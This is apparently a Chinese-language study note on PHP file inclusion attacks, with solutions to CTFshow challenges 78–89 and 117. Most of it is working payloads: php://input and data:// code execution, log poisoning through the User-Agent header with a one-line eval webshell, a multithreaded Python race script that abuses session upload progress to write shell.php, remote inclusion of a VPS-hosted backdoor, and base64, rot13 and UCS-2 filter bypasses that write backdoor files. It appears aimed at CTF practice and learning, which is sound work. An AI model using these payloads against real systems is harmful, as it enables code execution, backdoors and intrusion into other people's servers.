文件包含
包含的文件被当作当前的语言去代码执行
漏洞原因:
1.使用文件包含函数
2.包含的文件可控
分类:
1.本地包含:
有文件利用:配合文件上传
无文件利用:
1.包含日志文件
2.包含session文件
3.伪协议利用
2.远程包含:公网服务器自定义文件
差异:代码过滤, allow_url_include配置开关
白盒发现:
包含函数
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
伪协议
file://
allow_url_fopen :off/on
allow_url_include:off/on
file协议读取d盘下123.txt
file:///d:/123.txt
php://filter
读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
allow_url_fopen :off/on
allow_url_include:off/on
filter协议读取d盘下的123.txt并用base64编码
php://filter/read=convert.base64-encode/resource=d:/123.txt
再用解码工具解码还原
文件写入phpinfo.php
php://filter/write=convert.base64-decode/resource=phpinfo.php&txt=PD9waHAgcGhwaW5mbygpOyA/Pg==
写入成功
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
allow_url_fopen :off/on
allow_url_include:on
执行phpinfo,使用hackbar改成Raw模式,否则不成功
php://input
POST请求
data:<?php phpinfo();?>
文件写入
php://input
POST请求
data: <?php fputs(fopen('shell.php','w'),'<?php phpinfo(); ?>'); ?>
访问shell.php
data://
协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
代码执行
data://text/plain;<?php phpinfo();?>
Base64在进行解码的时候,是4个字符一组进行解码,因此在使用base64编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数
data://text/plain,base64,PD9waHAgcGhwaW5mbygpOyA
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
测试网站
本地包含index.php
本地包含database_connect.php
CTFshow-78
解法一:filter/read
使用filter/read读取相对路径下的flag.php
php://filter/read=convert.base64-encode/resource=flag.php
再使用hackbar解码base64,成功拿到flag
解法二:filter/read
执行php代码查看当前文件
php://input
POST请求
<?php system("ls")?>
使用tac查看flag.php
php://input
POST请求
<?php system("tac flag.php")?>
使用tac查看flag.php,页面无回显查看源代码
php://input
POST请求
<?php system("cat flag.php")?>
解法三:远程包含
vps开启一个http服务并创建一个123.txt后门文件
包含后门文件
http://vps:5566/123.txt
使用哥斯拉连接后门,查看flag
CTFshow-79
过滤php为???
解法:base64
Base64在进行解码的时候,是4个字符一组进行解码,因此在使用base64编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数,所以这里加了很多%2b
data://text/plain,base64,<?php system('ls');?>
data://text/plain,base64,PD9waHAgc3lzdGVtKCdscycpOz8+%2b%2b%2b%2b
因为Base64刚好是4的倍数就可以不用加
data://text/plain;base64,<?php system('cat flag.php');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码就可以看见
CTFshow-80
过滤php和data
解法:包含日志
file:var/log/nginx/access.log
通过修改ua头的方式包含日志
<?php system("ls");?>
file:var/log/nginx/access.log
<?php system('tac fl0g.php');?>
包含出flag
CTFshow-81
过滤php,data,:.
解法一:包含日志
修改ua头
<?php system("ls")?>
修改ua头
<?php system('ls');?>
包含日志,看到目录文件:fl0g.php index.php
file=/var/log/nginx/access.log
写入查看flag代码到日志
<?php system('tac fl0g.php');?>
包含日志,得到flag
解法二:包含日志getshell
ua头中修改为一句话木马
<?php eval($_POST['pass']);?>
包含日志
file=/var/log/nginx/access.log
使用蚁剑连接,其他不成功
CTFshow-82—86
包含SESSION
默认session路径
Linux:
/tmp或/var/lib/php/session
Windows:
C:\WINDOWS\Temp
产生session文件脚本
<!DOCTYPE html>
<html>
<body>
<form action="https://731cab10-587f-45f9-bfb3-e8ae6b9b66b5.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'GIF89a <?php @eval($_POST[pass])?>)'?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
上传任意文件抓包添加cookie
Cookie:PHPSESSID=ctf
<?php fputs(fopen('shell.php','w'),'GIF89a <?php @eval($_POST[pass])?>)'?>
文件包含session,因为seesion文件会定时清空,所以使用条件竞争
访问包含路径,并抓包放入Intruder里面
/tmp/sess_ctf
两个数据包都丢到Intruder进行无payload发包,一个不断生成seesion,一个不断访问路径,访问成功就会创建一个shell.php
没有碰撞成功过,使用python多线程能跑出flag
# 导入必要的库
import io
import sys
import requests
import threading
# 会话ID
sessid = 'Qftm'
http = 'https://'
# 定义POST函数用于上传文件
def POST(session):
while True:
# 创建50KB大小的文件对象
f = io.BytesIO(b'a' * 1024 * 50)
# 发起POST请求,上传文件并伪造文件内容包含一句PHP一句话木马代码
session.post(
http,
data={
"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"
},
files={"file":('q.txt', f)},
cookies={'PHPSESSID': sessid}
)
# 定义READ函数用于读取上传的文件内容
def READ(session):
while True:
response = session.get(f'{http}?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
# 若文件内容中包含'flag'则打印内容并退出程序
print(response.text)
sys.exit(0)
# 创建会话
with requests.session() as session:
# 创建并启动线程用于上传文件
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
# 读取上传的文件内容
READ(session)
CTFshow-87
解码url,浏览器自动会解码一次,就可以利用这一点绕过
解法一:Base64
php://filter/write=convert.base64-decode/resource=pass.php
两次URL编码:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%30%25%36%31%25%37%33%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30
因为使用content时会被强加"<?php die('大佬别秀了');?>",解码又会以4的倍数进行解码,会被解码的只有phpdie一共6个字节,在前面加上两个字节就不会影响后面解码,这里我加上zz,后面的编码也得是4的倍数
POST
content=<?php @eval($_POST[pass]);?>
Base64编码:
content=zzPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==
使用hackbar发送POST请求,写入pass.php后门文件
执行ls命令
查看flag
解法二:ROT13(凯撒)
php://filter/write=string.rot13/resource=222.php
两次URL编码:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%33%32%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
POST
content=<?php eval($_POST[pass]);?>
ROT13编码:
content=<?cuc riny($_CBFG[cnff]);?>
写入222.php后门文件
拿到flag
CTFshow-88—89
解法:data://
过滤PHP,各种符号,只能使用data://
base64编码
<?php system(ls);?>
Base64:
PD9waHAgc3lzdGVtKGxzKTs/Pg==
去掉==,base64也能解码
data://text/plain;base64,PD9waHAgc3lzdGVtKGxzKTs/Pg
Base64编码
<?php system('cat fl0g.php');?>
Base64:
PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/Pg==
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/Pg
查看源代码,拿到flag
CTFshow-117
过滤了凯撒和base64
解法:convert.iconv.UCS-2LE.UCS-2BE
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<原始编码方式>.<目标编码方式>
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
编码
ucs-2 二位一反转,字符个数要在偶数位上,ucs-4 四位一反转,字符个数要是4的倍数,下面字符一共28位
<?php @eval($_POST[pass]);?>
但是使用contents之前会强制加上<?php die();?>14个字节,二的倍数可以解码
使用kali将pass.txt编码
icov -f UCS-2BE -t UCS-2LE pass.txt > pass1.txt
?<hp pe@av(l_$OPTSp[sa]s;)>?
contents=?<hp pe@av(l_$OPTSp[sa]s;)>?
哥斯拉连接上去拿到flag
用php本地模拟加上<?php die();?>解码后,phpdie被解码成功并扰乱了本身函数
echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pe@av(l_$OPTSp[sa]s;)>?');